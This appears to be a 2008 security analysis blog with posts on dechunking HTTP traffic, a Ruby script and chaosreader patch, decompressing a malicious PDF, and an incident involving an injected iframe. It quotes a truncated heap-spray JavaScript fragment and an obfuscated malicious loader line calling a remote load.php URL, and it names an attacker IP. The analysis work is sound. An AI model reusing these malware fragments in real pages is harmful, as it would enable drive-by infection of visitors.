5359,5375d5358
< ### Chunk Check
< if ( $http_header =~ /Transfer-Encoding: chunked/ ) {
< my $new_http_data="";
< my $chunksize=-1;
< my $pos=0;
< until ($chunksize==0) {
< my $eolpos=index($http_data,"\r\n",$pos);
< $chunksize=hex(substr($http_data,$pos,$eolpos - $pos));
< $pos=($eolpos+2);
< if ($chunksize > 0) {
< $new_http_data.=substr($http_data,$pos,$chunksize);
< }
< $pos+=($chunksize+2);
< }
< $http_data=$new_http_data;
< }
<
download link
Wednesday, July 16, 2008
more de-chunking (chaosreader patch)
ok, so i went ahead and wrote a quick patch to chaosreader to handle chunk-encoded transfers. files extracted from http sessions should be automagically dechunked. not sure if \r\n vs. \n line ends make any difference.
Tuesday, July 15, 2008
pdf pwnage
Laziness and impatience are the twin virtues of any good IT worker, for they motivate you to automate things. Automation of analytical tasks eliminates variance and allows you to spend more time.... doing analysis. ISC had a diary entry about extracting flate-encoded PDF chunks. They had included some sample perl code that required byte-mangling and stuff. All well and good for those of you who like to do lots of manual analysis. For the truly lazy and impatient, there's podofo.
podofouncompress does the trick nicely:
%PDF-1.5 %M-bM-cM-OM-S 1 0 obj <>stream ^XM-^PIM-&M-AM-^GM-cM-^ZDM-Cf_M-sM-@5M-~^FM-^Q5M-...blah blah blah
Becomes
function re(count,what) {var v = "";while (--count >= 0) v += what;return v;} function start() {sc = unescape("%u9090%...
oh yeah, and captain krunkenstein totally had the drop on isc - he was patching spidermonkey when you were putting js in textareas.
podofouncompress does the trick nicely:
%PDF-1.5 %M-bM-cM-OM-S 1 0 obj <>stream ^XM-^PIM-&M-AM-^GM-cM-^ZDM-Cf_M-sM-@5M-~^FM-^Q5M-...blah blah blah
Becomes
function re(count,what) {var v = "";while (--count >= 0) v += what;return v;} function start() {sc = unescape("%u9090%...
oh yeah, and captain krunkenstein totally had the drop on isc - he was patching spidermonkey when you were putting js in textareas.
dechunking - simple but potentially confusing
So say you've got some http data to analyze, but the content isn't lining up right - binary extractionfrom the http server response only produces corrupt files when using trace carving tools like chaosreader. Check the server response headers to see if the Transfer-Encoding header is present and set to "chunked". If it is, you will need to reassemble the response body from the chunks before subsequent decoding/decompression.
download link
download link
#!/bin/env ruby
require 'stringio'
end_of_headers="\r\n\r\n"
outbuf=""
chunksize=-1
filename=ARGV[0]
f=File.new(filename,"r")
everything=f.gets(nil)
bodystart=everything.index(end_of_headers)
sio=StringIO.new(everything)
header=sio.read(bodystart + end_of_headers.length)
if header.match(/Transfer-Encoding: chunked/i)
until chunksize==0
chunksize=sio.gets("\r\n").rstrip.hex
outbuf+=sio.read(chunksize)
2.times {sio.getc}
end
else
warn("#{filename} doesn't have a Transfer-Encoding: chunked header")
exit(1)
end
print outbuf
Tuesday, July 1, 2008
** server can't find myhost: SERVFAIL
Nothing quite brings a smile to my face like when a script kiddie isn't quite smart enough to figure out the already highly automated tools they have at their disposal. A great reference is a recent hit of ours. It started out like any other minor incident, a user was browsing a website that was a victim of some sort of attack. This attack then snuck an iframe into the HTML and referenced to a .js file at "123.231.102.209" (which by the way if your running, you might want to make sure you're not compromised). The file was pretty heavily obfuscated with the usual string replacement style (show below). However, my favorite part of it was the following:
NknOUUaTGunmGbyZiIFLV.open("3vZVKO9ZLFz6PqIl9Uxisuv5Y0BhoMET".replace(/3vZVKO9ZLFz6PqIl9Uxisuv5Y0BhoM/ig, "G"),'http://myhost/load.php?bof',false);
Which opens the following URL http://myhost/load.php?bof, but the thing to note here... In whatever automation software the attacker was using they forgot to put something slightly more useful to them, and something slightly less hilarious to me, than "myhost" as the hostname.
Just further proof that while there is some good talent out there, there really is a lot to be desired.
NknOUUaTGunmGbyZiIFLV.open("3vZVKO9ZLFz6PqIl9Uxisuv5Y0BhoMET".replace(/3vZVKO9ZLFz6PqIl9Uxisuv5Y0BhoM/ig, "G"),'http://myhost/load.php?bof',false);
Which opens the following URL http://myhost/load.php?bof, but the thing to note here... In whatever automation software the attacker was using they forgot to put something slightly more useful to them, and something slightly less hilarious to me, than "myhost" as the hostname.
Just further proof that while there is some good talent out there, there really is a lot to be desired.
First Post!
This blog has a vision, and contained deep within that vision is an idea. An idea so pure that no^H^Heverybody has done it before. Well, I guess it's not that pure. But the idea and the vision is that this blog is a way for us to disseminate some of the information that is gained through attack analysis as well as other thoughts. Including but not limited to: some malware reverse-engineering, web attacks, security ideas/thoughts/methodologies, and even some software. Who knows what will happen it's simply the beginning.
Subscribe to:
Posts (Atom)